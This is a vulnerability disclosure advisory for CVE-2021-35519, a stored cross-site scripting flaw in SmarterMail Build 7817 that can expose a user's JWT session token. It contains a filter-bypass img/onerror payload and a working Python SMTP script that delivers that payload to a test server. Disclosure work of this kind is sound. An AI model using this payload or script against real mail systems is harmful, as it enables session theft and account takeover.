SSD Advisory – SmarterMail XSS

TL;DR

Find out how a cross site scripting vulnerability in SmarterMail allows remote attackers to obtain the JWT token used to authenticate the user.

Vulnerability Summary

SmarterMail offers “all of the same features as Microsoft Exchange, but at a FRACTION of the cost. Unlike Exchange, features like audio and video group chat, and Team Workspaces for team meetings and group collaboration are included at no extra charge”.

SmarterMail is “the only on-prem email alternative to Exchange for web hosts, ISPs, small businesses and enterprises that want Exchange-level functionality, but without the high costs associated with Exchange”.

SmarterMail does not properly encode/sanitise/escape the message contents when the email is sent. As a result, it is possible to steal the victim’s JWT token which is responsible for every operation on the server.

CVE

CVE-2021-35519

Credit

An independent security researcher, honeydew2, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

SmarterMail Build 7817

Vendor Response

The vendor has released a patch, SmarterMail Build 7845, which resolves the issue.

Vulnerability Analysis

SmarterMail renders incoming HTML emails for users automatically – the HTML renderer does not properly filter incoming HTML tags for malicious content.

While there is an attempt to filter out malicious <script> tags, if these tags are delimitered by “/” rather than a ” ” (space), the HTML renderer will process the HTML and show it to the user, for example sending a victim this HTML:

<img/src/onerror=alert(sessionStorage.getItem('token'))>

Will result in the HTML renderer returning to the user this HTML:

<img src onerror=alert(sessionStorage.getItem('token'))>

Which will show inside an alert the SmarterMail’s sessionStorage token, which is used to authenticate the user against the product.

Exploit

#!/usr/bin/python3
# Import smtplib for the actual sending function
import smtplib
from datetime import date
today = date.today()
server = "192.168.15.50"
# Import the email modules we'll need
from email.message import EmailMessage
msg = EmailMessage()
msg['Subject'] = f'Welcome to Smartermail'
msg['From'] = 'admin@smartermail-test.com'
msg['To'] = 'user1@smartermail-test.com'
msg.set_content("Welcome to smartermail, you can immediately start using it -just click on the Test email to get started")
s = smtplib.SMTP(server)
s.set_debuglevel(1)
s.send_message(msg)
s.quit()
###
msg = EmailMessage()
msg['Subject'] = f'Test email'
msg['From'] = 'admin@smartermail-test.com'
msg['To'] = 'user1@smartermail-test.com'
msg.add_alternative("<div style=\"font-family: arial; font-size: 14px;\"><div fr-original-style=\"\" style=\"box-sizing: border-box;\"><br fr-original-style=\"\" style=\"box-sizing: border-box;\"></div><div fr-original-style=\"\" style=\"box-sizing: border-box;\"><br fr-original-style=\"\" style=\"box-sizing: border-box;\"></div><div fr-original-style=\"\" style=\"box-sizing: border-box;\"><img/src/onerror=alert(sessionStorage.getItem('token'))></div></div>", subtype="html")
s = smtplib.SMTP(server)
s.set_debuglevel(1)
s.send_message(msg)
s.quit()

Demo

?

Get in touch